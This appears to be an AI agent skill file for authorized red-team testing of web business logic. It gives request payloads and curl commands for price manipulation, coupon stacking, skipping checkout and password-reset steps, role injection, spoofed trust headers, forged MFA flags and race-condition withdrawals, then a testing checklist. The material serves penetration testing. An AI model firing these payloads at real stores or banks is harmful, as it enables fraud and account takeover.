---
name: rt-business-logic
description: "Business logic vulnerability skill for authorized engagements. Price manipulation via negative quantities and integer overflow, workflow sequence bypass, privilege escalation through multi-step process abuse, coupon stacking, account balance manipulation, race condition in purchases, trust boundary violations, and forced browsing past security checkpoints. Use when testing e-commerce, financial, or multi-step workflow applications."
---

# rt-business-logic — Business Logic Vulnerabilities

## Overview

Business logic flaws are application-specific vulnerabilities where the security control is bypassable through legitimate application functionality used in unintended ways. They can't be detected by scanners — they require understanding the intended workflow and finding deviations.

---

## Phase 1 — Price Manipulation

```bash
# Negative quantity → negative price → store owes you money
POST /cart/add HTTP/1.1
{"product_id": 5, "quantity": -100}

# Integer overflow → price wraps to negative
# 2147483647 + 1 = -2147483648 (32-bit integer overflow)
{"quantity": 2147483648}

# Modify price in transit (if not server-side validated)
# Intercept in Burp → change price field
{"product_id": 1, "price": 0.01, "quantity": 1}

# Currency manipulation
{"price": "1", "currency": "HUF"}  # Hungarian Forint (cheap)
# If currency not validated → pay in weak currency

# Discount code stacking
# Apply coupon → apply same coupon again → double discount
POST /checkout/apply-coupon {"code": "SAVE50"}
POST /checkout/apply-coupon {"code": "SAVE50"}  # Apply twice
```

---

## Phase 2 — Workflow Sequence Bypass

```bash
# Multi-step checkout — skip payment step
# Step 1: /checkout/cart
# Step 2: /checkout/shipping
# Step 3: /checkout/payment
# Step 4: /checkout/confirm

# Skip payment:
# After step 2, directly POST to /checkout/confirm
# Some apps track steps in cookie/session — tamper with it
curl -b "checkout_step=payment_complete" https://target.com/checkout/confirm

# Password reset flow bypass
# Step 1: Enter email → get token
# Step 2: Enter token
# Step 3: Set new password

# Skip step 2:
# After step 1, directly POST to step 3 with someone else's email
POST /reset-password/set-new HTTP/1.1
{"email": "victim@corp.com", "new_password": "hacked"}

# Email verification bypass
# Register → not verified → but directly access authenticated endpoints
GET /dashboard HTTP/1.1
Cookie: session=UNVERIFIED_SESSION
```

---

## Phase 3 — Privilege Escalation via Logic

```bash
# Role assignment in registration
POST /register HTTP/1.1
{"username": "attacker", "password": "pass", "role": "admin"}
# If role not stripped → account created with admin role

# Account type upgrade bypass
# Free → Premium: normally requires payment
# Intercept upgrade request → remove payment_token field
POST /upgrade HTTP/1.1
{"plan": "premium"}  # No payment_token

# Admin function discovery
# Applications often check role at the UI level only
# Direct API calls bypass UI checks
GET /api/admin/users HTTP/1.1
Cookie: session=REGULAR_USER_SESSION
# If 200 → admin functions accessible to regular users
```

---

## Phase 4 — Account & Balance Manipulation

```bash
# Withdraw more than balance (race condition + logic)
# Two simultaneous withdrawals of full balance
python3 race_withdraw.py --balance 1000 --withdraw 1000 --threads 10

# Referral abuse
# Refer yourself → get bonus × unlimited
# Create account → refer → create new account → refer back → infinite loop

# Free trial abuse
# Sign up → trial expires → delete account → sign up again with same email
# Or: slight email variations: user+1@gmail.com, user+2@gmail.com

# Transfer to self with fee manipulation
POST /transfer {"from": "A", "to": "A", "amount": 100}
# Sending to yourself shouldn't be free — fee may apply both ways

# Gift card / voucher generation
POST /gift-cards/generate {"amount": 100}
# If no rate limiting → generate unlimited gift cards
```

---

## Phase 5 — Trust Boundary Violations

```bash
# IP-based trust
# App trusts requests from 127.0.0.1 without auth
curl -H "X-Forwarded-For: 127.0.0.1" https://target.com/admin/
curl -H "X-Real-IP: 127.0.0.1" https://target.com/internal/

# Two-factor auth logic
# App checks if MFA was completed in session variable
# If MFA completion flag can be set without actual MFA:
POST /login/mfa-complete HTTP/1.1
{"mfa_verified": true}  # Set flag directly

# Email domain trust
# Admin features for @corp.com emails
# Register with: attacker@corp.com.evil.com (subdomain)
# Or: find if email validation uses contains() not endsWith()

# Forced browsing after partial auth
# Login step 1 complete → session has partial_auth=true
# App checks partial_auth for some endpoints instead of full_auth
curl -b "partial_auth=true;user_id=admin_id" https://target.com/sensitive
```

---

## Phase 6 — Logic Flaw Testing Methodology

```bash
# For each business function, ask:
# 1. What is the INTENDED sequence of steps?
# 2. What happens if steps are skipped/reordered?
# 3. What are the boundary values? (0, -1, MAX_INT)
# 4. What if multiple requests sent simultaneously?
# 5. What if parameters are removed/modified?
# 6. What if you use functionality in an unexpected way?

# Checklist per feature:
# □ Negative values accepted?
# □ Zero values handled?
# □ Maximum value overflow?
# □ Steps required in order?
# □ Concurrent requests race?
# □ Role/permission bypass?
# □ Parameter removal effect?
# □ Cross-account data access?
```

---

## Skill Levels

**BEGINNER:** Negative quantity price manipulation · Forced browsing to skip workflow steps · Role parameter in registration

**INTERMEDIATE:** Race condition in purchases · Multi-step workflow bypass · Trust header abuse

**ADVANCED:** Integer overflow price attacks · Complex referral abuse chains · MFA logic bypass

**EXPERT:** Multi-account business logic chains · State machine exploitation · Long-term trust building for multi-step compromise

---

## References

- PortSwigger Business Logic: https://portswigger.net/web-security/logic-flaws
- OWASP Testing Business Logic: https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/10-Business_Logic_Testing/
- MITRE T1078: https://attack.mitre.org/techniques/T1078/
